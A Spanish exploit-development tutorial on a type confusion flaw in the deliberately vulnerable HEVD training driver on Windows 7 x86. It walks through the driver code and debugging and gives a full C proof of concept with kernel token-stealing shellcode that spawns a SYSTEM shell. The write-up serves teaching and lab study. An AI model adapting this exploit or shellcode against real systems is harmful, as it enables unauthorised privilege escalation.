En el último tutorial aprovechamos un “Write-What-Where” o un “Escribir Qué Dónde” dentro de Windows 7 (x86) y Windows 11 (x64).

Igual que en los últimos tutoriales, introduciremos una nueva falla en Windows 7 (x86) kernel para obtener una base sólida sobre cómo ocurre la vulnerabilidad. Para ser más específicos, aprenderemos cómo aprovechar un Type Confusion!

Table of Contents

Qué es un Type Confusion (Alto Nivel)

No estás familiarizado con lo que es un Type Confusion? Comencemos con una descripción general de lo que es!

Para usar un ejemplo no técnico, veamos una hipótesis con Dark Souls. En la imagen abajo podemos ver a Siegmeyer of Catarina sentado afuera de la entrada de Sen’s Fortress.

alt text

Si miramos más cerca, podemos ver que detrás de Siegmeyer hay una Estus Flask que funciona como cualquier taza, sin embargo en Dark Souls se usa para reponer tu salud.

alt text

Dentro de Sen’s Fortress hay enemigos conocidos como “Man-Serpent soldiers”, estos enemigos se pueden ver hacia abajo. Siendo estas serpientes, quizás también contienen veneno.

alt text

Dado que una Estus Flask contiene líquido, hipotéticamente se podría cambiar el líquido utilizado para reponer la salud por otra cosa o, en el peor de los casos, modificarlo?

Dado que Siegmeyer está sumido en sus pensamientos, si abriéramos la puerta y él no se diera cuenta, hipotéticamente una serpiente podría tomar de el Estus Flask y reemplazar la cantidad que bebo con veneno. Si Siegmeyer no se da cuenta, morirá!

Este ataque de la serpiente es muy similar al de un Type Confusion. Un Type Confusion ocurre cuando un programa asume incorrectamente que un objeto o variable es de un tipo cuando en realidad es de otro. Este tipo de desajuste puede tener consecuencias horribles.

Podemos correlacionar esto con nuestro ejemplo:

  1. El programa (Siegmeyer) espera un tipo específico (poción de salud) basado en el objeto (Estus Flask).
  2. Un atacante (la serpiente) cambia la información a un tipo diferente sin que el programa se dé cuenta.
  3. El programa (Siegmeyer) utiliza el objeto y esto tiene consecuencias catastróficas.

En términos técnicos, esto sucede cuando los tipos de variables del lenguaje de programación se convierten incorrectamente, por ejemplo en C++ encasillamiento inseguro (unsafe typecasting) o JavaScript con mecanografía suelta (“loose typing”). Luego, los atacantes pueden aprovechar estas vulnerabilidades para dañar la memoria o incluso ejecutar código.

Con la descripción general completa, podemos comenzar y ver código!

Usando el Código

Podemos comenzar identificando las ubicaciones de código adecuado.

$ ls -l | grep Type  
-rw-r--r-- 1 wetw0rk wetw0rk  7736 Oct 24 22:20 TypeConfusion.c
-rw-r--r-- 1 wetw0rk wetw0rk  2954 Oct 24 22:20 TypeConfusion.h

Al observar el código, nos centraremos en las siguientes funciones.

TypeConfusionIoctlHandler()
  TriggerTypeConfusion()
    TypeConfusionObjectInitializer()
      TypeConfusionObjectCallback()

Empecemos desde arriba!

TypeConfusionIoctlHandler

TypeConfusionIoctlHandler es la función que se llamará al enviar el código de IOCTL. Igual como los ejemplos anteriores, convertimos nuestra información en un objeto / estructura. En este caso PUSER_TYPE_CONFUSION_OBJECT.

218 NTSTATUS
219 TypeConfusionIoctlHandler(
220     _In_ PIRP Irp,
221     _In_ PIO_STACK_LOCATION IrpSp
222 )
223 {
224     NTSTATUS Status = STATUS_UNSUCCESSFUL;
225     PUSER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject = NULL;
226 
227     UNREFERENCED_PARAMETER(Irp);
228     PAGED_CODE();
229 
230     UserTypeConfusionObject = (PUSER_TYPE_CONFUSION_OBJECT)IrpSp->Parameters.DeviceIoControl.Type3InputBuffer;
231 
232     if (UserTypeConfusionObject)
233     {
234         Status = TriggerTypeConfusion(UserTypeConfusionObject);
235     }
236 
237     return Status;
238 }

Echemonos una mirada a la estructura PUSER_TYPE_CONFUSION_OBJECT dentro de TypeConfusion.h.

Dentro del código también podemos ver otra estructura definida, siendo esta estructura _KERNEL_TYPE_CONFUSION_OBJECT.

 62 typedef struct _USER_TYPE_CONFUSION_OBJECT
 63 {
 64     ULONG_PTR ObjectID;
 65     ULONG_PTR ObjectType;
 66 } USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT;
 67 
 68 #pragma warning(push)
 69 #pragma warning(disable : 4201)
 70 typedef struct _KERNEL_TYPE_CONFUSION_OBJECT
 71 {
 72     ULONG_PTR ObjectID;
 73     union
 74     {
 75         ULONG_PTR ObjectType;
 76         FunctionPointer Callback;
 77     };
 78 } KERNEL_TYPE_CONFUSION_OBJECT, *PKERNEL_TYPE_CONFUSION_OBJECT;
 79 #pragma warning(pop)

Si estás familiarizado con C, esto no debería ser demasiado complicado. Vemos dos punteros unsigned long cuando usamos la estructura USER_TYPE_CONFUSION_OBJECT.

Dentro de la estructura _KERNEL_TYPE_CONFUSION_OBJECT vemos un puntero unsigned long y una unión. Dentro de la unión vemos un puntero unsigned long y un puntero de función.

Desde la perspectiva de aprovechar la aplicación, este sería un objetivo ideal, porque FunctionPointer es un puntero a una función… como su nombre indica.

Esto se puede ver en Common.h.

 70 typedef void(*FunctionPointer)();

TriggerTypeConfusion

TriggerTypeConfusion es donde se pasa PUSER_TYPE_CONFUSION_OBJECT, esta función se puede ver abajo

105 NTSTATUS
106 TriggerTypeConfusion(
107     _In_ PUSER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject
108 )
109 {
110     NTSTATUS Status = STATUS_UNSUCCESSFUL;
111     PKERNEL_TYPE_CONFUSION_OBJECT KernelTypeConfusionObject = NULL;
112 
113     PAGED_CODE();
114 
115     __try
116     {
117         //
118         // Verify if the buffer resides in user mode
119         //
120 
121         ProbeForRead(
122             UserTypeConfusionObject,
123             sizeof(USER_TYPE_CONFUSION_OBJECT),
124             (ULONG)__alignof(UCHAR)
125         );
126 
127         //
128         // Allocate Pool chunk
129         //
130 
131         KernelTypeConfusionObject = (PKERNEL_TYPE_CONFUSION_OBJECT)ExAllocatePoolWithTag(
132             NonPagedPool,
133             sizeof(KERNEL_TYPE_CONFUSION_OBJECT),
134             (ULONG)POOL_TAG
135         );
136 
137         if (!KernelTypeConfusionObject)
138         {   
139             //
140             // Unable to allocate Pool chunk
141             //
142             
143             DbgPrint("[-] Unable to allocate Pool chunk\n");
144             
145             Status = STATUS_NO_MEMORY;
146             return Status;
147         }
148         else
149         {   
150             DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
151             DbgPrint("[+] Pool Type: %s\n", STRINGIFY(NonPagedPool));
152             DbgPrint("[+] Pool Size: 0x%X\n", sizeof(KERNEL_TYPE_CONFUSION_OBJECT));
153             DbgPrint("[+] Pool Chunk: 0x%p\n", KernelTypeConfusionObject);
154         }
154         }
155 
156         DbgPrint("[+] UserTypeConfusionObject: 0x%p\n", UserTypeConfusionObject);
157         DbgPrint("[+] KernelTypeConfusionObject: 0x%p\n", KernelTypeConfusionObject);
158         DbgPrint("[+] KernelTypeConfusionObject Size: 0x%X\n", sizeof(KERNEL_TYPE_CONFUSION_OBJECT));
159 
160         KernelTypeConfusionObject->ObjectID = UserTypeConfusionObject->ObjectID;
161         KernelTypeConfusionObject->ObjectType = UserTypeConfusionObject->ObjectType;
162 
163         DbgPrint("[+] KernelTypeConfusionObject->ObjectID: 0x%p\n", KernelTypeConfusionObject->ObjectID);
164         DbgPrint("[+] KernelTypeConfusionObject->ObjectType: 0x%p\n", KernelTypeConfusionObject->ObjectType);
165 
166 
167 #ifdef SECURE
168         //
169         // Secure Note: This is secure because the developer is properly setting 'Callback'
170         // member of the 'KERNEL_TYPE_CONFUSION_OBJECT' structure before passing the pointer
171         // of 'KernelTypeConfusionObject' to 'TypeConfusionObjectInitializer()' function as
172         // parameter
173         //
174 
175         KernelTypeConfusionObject->Callback = &TypeConfusionObjectCallback;
176         Status = TypeConfusionObjectInitializer(KernelTypeConfusionObject);
177 #else
178         DbgPrint("[+] Triggering Type Confusion\n");
179 
180         //
181         // Vulnerability Note: This is a vanilla Type Confusion vulnerability due to improper
182         // use of the 'UNION' construct. The developer has not set the 'Callback' member of
183         // the 'KERNEL_TYPE_CONFUSION_OBJECT' structure before passing the pointer of
184         // 'KernelTypeConfusionObject' to 'TypeConfusionObjectInitializer()' function as
185         // parameter
186         //
187 
188         Status = TypeConfusionObjectInitializer(KernelTypeConfusionObject);
189 #endif
190 
191         DbgPrint("[+] Freeing KernelTypeConfusionObject Object\n");
192         DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
193         DbgPrint("[+] Pool Chunk: 0x%p\n", KernelTypeConfusionObject);
194 
195         //
196         // Free the allocated Pool chunk
197         //
198 
199         ExFreePoolWithTag((PVOID)KernelTypeConfusionObject, (ULONG)POOL_TAG);
200         KernelTypeConfusionObject = NULL;
201     }
202     __except (EXCEPTION_EXECUTE_HANDLER)
203     {
204         Status = GetExceptionCode();
205         DbgPrint("[-] Exception Code: 0x%X\n", Status);
206     }
206     }
207 
208     return Status;
209 }

Como ocurre con todas las funciones grandes, analicemos esto pieza por pieza. Primero, asignamos un objeto PKERNEL_TYPE_CONFUSION_OBJECT en el NonPagedPool.

131         KernelTypeConfusionObject = (PKERNEL_TYPE_CONFUSION_OBJECT)ExAllocatePoolWithTag(
132             NonPagedPool,
133             sizeof(KERNEL_TYPE_CONFUSION_OBJECT),
134             (ULONG)POOL_TAG
135         );

A partir de ahí, suponiendo que todo salió bien, el conductor asigna los miembros ObjectID y ObjectType a la estructura KernelTypeConfusionObject que asignamos utilizando nuestra información.

160         KernelTypeConfusionObject->ObjectID = UserTypeConfusionObject->ObjectID;
161         KernelTypeConfusionObject->ObjectType = UserTypeConfusionObject->ObjectType;

Luego llamamos a TypeConfusionObjectInitializer usando este objeto como el único parámetro.

188         Status = TypeConfusionObjectInitializer(KernelTypeConfusionObject);

Saltaremos esta función, sin embargo, el tipo devuelto es de NTSTATUS.

Al finalizar este análisis de código, podemos ver que el objeto asignado se libera y luego se establece en NULL.

191         DbgPrint("[+] Freeing KernelTypeConfusionObject Object\n");
192         DbgPrint("[+] Pool Tag: %s\n", STRINGIFY(POOL_TAG));
193         DbgPrint("[+] Pool Chunk: 0x%p\n", KernelTypeConfusionObject);
194 
195         //
196         // Free the allocated Pool chunk
197         //
198 
199         ExFreePoolWithTag((PVOID)KernelTypeConfusionObject, (ULONG)POOL_TAG);
200         KernelTypeConfusionObject = NULL;
201     }
202     __except (EXCEPTION_EXECUTE_HANDLER)
203     {
204         Status = GetExceptionCode();
205         DbgPrint("[-] Exception Code: 0x%X\n", Status);
206     }
207 
208     return Status;
209 }

Lo principal a tener en cuenta sobre esta función es que el miembro Callback nunca se establece. Es posible que podamos utilizar esto a nuestro favor…

TypeConfusionObjectInitializer

Para recapitular, PKERNEL_TYPE_CONFUSION_OBJECT se pasa a la función TypeConfusionObjectInitializer desde la función TriggerTypeConfusion.

Podemos ver el código para TypeConfusionObjectInitializer abajo.

 80 NTSTATUS
 81 TypeConfusionObjectInitializer(
 82     _In_ PKERNEL_TYPE_CONFUSION_OBJECT KernelTypeConfusionObject
 83 )   
 84 {   
 85     NTSTATUS Status = STATUS_SUCCESS;
 86     
 87     PAGED_CODE();
 88     
 89     DbgPrint("[+] KernelTypeConfusionObject->Callback: 0x%p\n", KernelTypeConfusionObject->Callback);
 90     DbgPrint("[+] Calling Callback\n");
 91     
 92     KernelTypeConfusionObject->Callback();
 93     
 94     DbgPrint("[+] Kernel Type Confusion Object Initialized\n");
 95     
 96     return Status;
 97 }

Interesante… parece que simplemente llamamos al miembro Callback()… Me pregunto si cuando escribimos en KernelTypeConfusionObject podríamos sobrescribir o más bien asignar a la memoria adyacente parte de nuestro buffer?

Pruebas Dinámicas

En este punto sentí que tenía una comprensión sólida de cómo funciona esta función, así que decidí empezar a jugar con ella y observar el comportamiento.

Desarrollé lo siguiente que sirviera como mi PoC:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <winternl.h>
#include <shlwapi.h>

#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)

#define HEVD_IOCTL_TYPE_CONFUSION IOCTL(0x808)

typedef struct _USER_TYPE_CONFUSION_OBJECT
{
  ULONG_PTR ObjectID;
  ULONG_PTR ObjectType;
} USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT;

int Exploit(HANDLE hHEVD)
{
  USER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject = { 0 };
  ULONG oId = 0x41414141;
  ULONG oType = 0x42424242;
  DWORD dwBytesReturned = 0;

  UserTypeConfusionObject.ObjectType = oType;
  UserTypeConfusionObject.ObjectID = oId;

  DeviceIoControl(hHEVD,
                  HEVD_IOCTL_TYPE_CONFUSION,
                  &UserTypeConfusionObject,
                  sizeof(UserTypeConfusionObject),
                  NULL,
                  0x00,
                  &dwBytesReturned,
                  NULL);

  return 0;
}

int main()
{
  HANDLE hHEVD = NULL;
  hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                      (GENERIC_READ | GENERIC_WRITE),
                      0x00,
                      NULL,
                      OPEN_EXISTING,
                      FILE_ATTRIBUTE_NORMAL,
                      NULL);

  if (hHEVD == NULL)
  {
    printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
    return -1;
  }

  Exploit(hHEVD);

  if (hHEVD != INVALID_HANDLE_VALUE) {
    CloseHandle(hHEVD);
  }
}

Establezcamos un punto de interrupción justo cuando llamamos a la función TypeConfusionInitializer para ver qué se pasa a la función.

alt text

Una vez pegado, podemos ver que el puntero a nuestro objeto (almacenado en la parte superior de la stack) contiene un búfer de 16 bytes. Eso es aproximadamente 8 bytes más de lo esperado.

alt text

Si miramos esto desde la perspectiva de la estructura misma, solo debería tener 8 bytes.

$ gcc struct_size.c -m32
$ ./a.out
Sizeof USER_TYPE_CONFUSION_OBJECT   : 8
Sizeof KERNEL_TYPE_CONFUSION_OBJECT : 8

Pero espera, no debería la KERNEL_TYPE_CONFUSION_OBJECT tener 12 bytes “(sizeof(ULONG_PTR) + sizeof(ULONG_PTR) + sizeof(FunctionPointer))”?

Después de buscar en Google, parece que el tamaño de una unión está determinado por el tamaño de su miembro más grande.

Entonces esta asignación es de 8 bytes??

KernelTypeConfusionObject = (PKERNEL_TYPE_CONFUSION_OBJECT)ExAllocatePoolWithTag(
    NonPagedPool,
    sizeof(KERNEL_TYPE_CONFUSION_OBJECT),
    (ULONG)POOL_TAG
);

Ejecutémoslo nuevamente, esta vez estableciendo un punto de interrupción en la llamada a ExAllocatePoolWithTag.

Interesante… como se esperaba, son 8 bytes…

alt text

Ahora veamos qué se pasa a TypeConfusionObjectInitializer.

alt text

Esta vez no vemos más información de la esperada, pero podemos ver que la devolución de llamada es una dirección no válida.

Si continuamos con el paso, eventualmente llegaremos a la llamada a la función de devolución de llamada. Una vez allí, podremos ver que en realidad estamos llamando a una dirección que no es válida.

Más específicamente la información que enviamos.

alt text

Si damos un paso más, podemos ver que pudimos provocar corrupción de memoria.

alt text

Sin embargo, ¡el kernel no falló! Si continúa la ejecución, notará que Windows continúa con su comportamiento normal. Es realmente importante saber esto desde la perspectiva del desarrollo de exploits: ¡no todas las vulnerabilidades desencadenarán un BSOD!

Entonces, cómo sucedió esto? Dado que la Unión tiene un total de 4 bytes y nunca se inicializó, el Tipo de objeto ocupa el lugar del puntero de devolución de llamada.

Explotación

Dado que es Windows 7 (x86) y no tenemos que preocuparnos por las protecciones de memoria modernas, la explotación es tan simple como llamar a nuestro shellcode en el área de usuario.

El PoC se puede ver hacia abajo:

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <string.h>

#include <windows.h>
#include <psapi.h>
#include <ntdef.h>
#include <winternl.h>
#include <shlwapi.h>

#define IOCTL(Function) CTL_CODE (FILE_DEVICE_UNKNOWN, Function, METHOD_NEITHER, FILE_ANY_ACCESS)

#define HEVD_IOCTL_TYPE_CONFUSION IOCTL(0x808)

/* Structure used by Type Confusion */
typedef struct _USER_TYPE_CONFUSION_OBJECT
{
  ULONG_PTR ObjectID;
  ULONG_PTR ObjectType;
} USER_TYPE_CONFUSION_OBJECT, *PUSER_TYPE_CONFUSION_OBJECT;

/* CheckWin():
     Simple function to check if we're running as SYSTEM */
int CheckWin(VOID)
{
  DWORD win = 0;
  DWORD dwLen = 0;
  CHAR *cUsername = NULL;

  GetUserNameA(NULL, &dwLen);

  if (dwLen > 0) {
    cUsername = (CHAR *)malloc(dwLen * sizeof(CHAR));
  } else {
    printf("[-] Failed to allocate buffer for username check\n");
    return -1;
  }

  GetUserNameA(cUsername, &dwLen);

  win = strcmp(cUsername, "SYSTEM");
  free(cUsername);

  return (win == 0) ? win : -1;
}

/* Exploit():
     Type Confusion */
int Exploit(HANDLE hHEVD)
{
  USER_TYPE_CONFUSION_OBJECT UserTypeConfusionObject = { 0 };
  DWORD dwBytesReturned = 0;
  LPVOID lpvMemoryAllocation = NULL;

  char shellcode[]=

  /* sickle-tool -p windows/x86/kernel_token_stealer -f c -m pinpoint */
  "\x60"                         // pushal
  "\x31\xc0"                     // xor eax, eax
  "\x64\x8b\x80\x24\x01\x00\x00" // mov eax, dword ptr fs:[eax + 0x124]
  "\x8b\x40\x50"                 // mov eax, dword ptr [eax + 0x50]
  "\x89\xc1"                     // mov ecx, eax
  "\xba\x04\x00\x00\x00"         // mov edx, 4
  "\x8b\x80\xb8\x00\x00\x00"     // mov eax, dword ptr [eax + 0xb8]
  "\x2d\xb8\x00\x00\x00"         // sub eax, 0xb8
  "\x39\x90\xb4\x00\x00\x00"     // cmp dword ptr [eax + 0xb4], edx
  "\x75\xed"                     // jne 0x1014
  "\x8b\x90\xf8\x00\x00\x00"     // mov edx, dword ptr [eax + 0xf8]
  "\x89\x91\xf8\x00\x00\x00"     // mov dword ptr [ecx + 0xf8], edx
  "\x61"                         // popal

  /* Return to Userland */
  "\xc3";                        // ret

  lpvMemoryAllocation = VirtualAlloc(NULL,
                                     53,
                                     (MEM_COMMIT | MEM_RESERVE),
                                     PAGE_EXECUTE_READWRITE);
  if (lpvMemoryAllocation == NULL)
  {
    printf("[*] Failed to allocate memory for shellcode\n");
  }

  printf("[*] Allocated memory for shellcode, shellocode @{0x%p}\n", lpvMemoryAllocation);
  memcpy(lpvMemoryAllocation, shellcode, 53);

  UserTypeConfusionObject.ObjectType = (ULONG)lpvMemoryAllocation;
  UserTypeConfusionObject.ObjectID = 0x41414141;

  printf("[*] Triggering type confusion\n");
  DeviceIoControl(hHEVD,
                  HEVD_IOCTL_TYPE_CONFUSION,
                  &UserTypeConfusionObject,
                  sizeof(UserTypeConfusionObject),
                  NULL,
                  0x00,
                  &dwBytesReturned,
                  NULL);

  return CheckWin();
}

int main()
{
  HANDLE hHEVD = NULL;
  hHEVD = CreateFileA("\\\\.\\HackSysExtremeVulnerableDriver",
                      (GENERIC_READ | GENERIC_WRITE),
                      0x00,
                      NULL,
                      OPEN_EXISTING,
                      FILE_ATTRIBUTE_NORMAL,
                      NULL);

  if (hHEVD == NULL)
  {
    printf("[-] Failed to get a handle on HackSysExtremeVulnerableDriver\n");
    return -1;
  }

  if (Exploit(hHEVD) == 0) {
    printf("[*] Exploitation successful, enjoy de shell!!\n\n");
    system("cmd.exe");
  } else {
    printf("[-] Exploitation failed, run again\n");
  }

  if (hHEVD != INVALID_HANDLE_VALUE) {
    CloseHandle(hHEVD);
  }
}

Una vez enviado, obtenemos la ejecución del código :)

alt text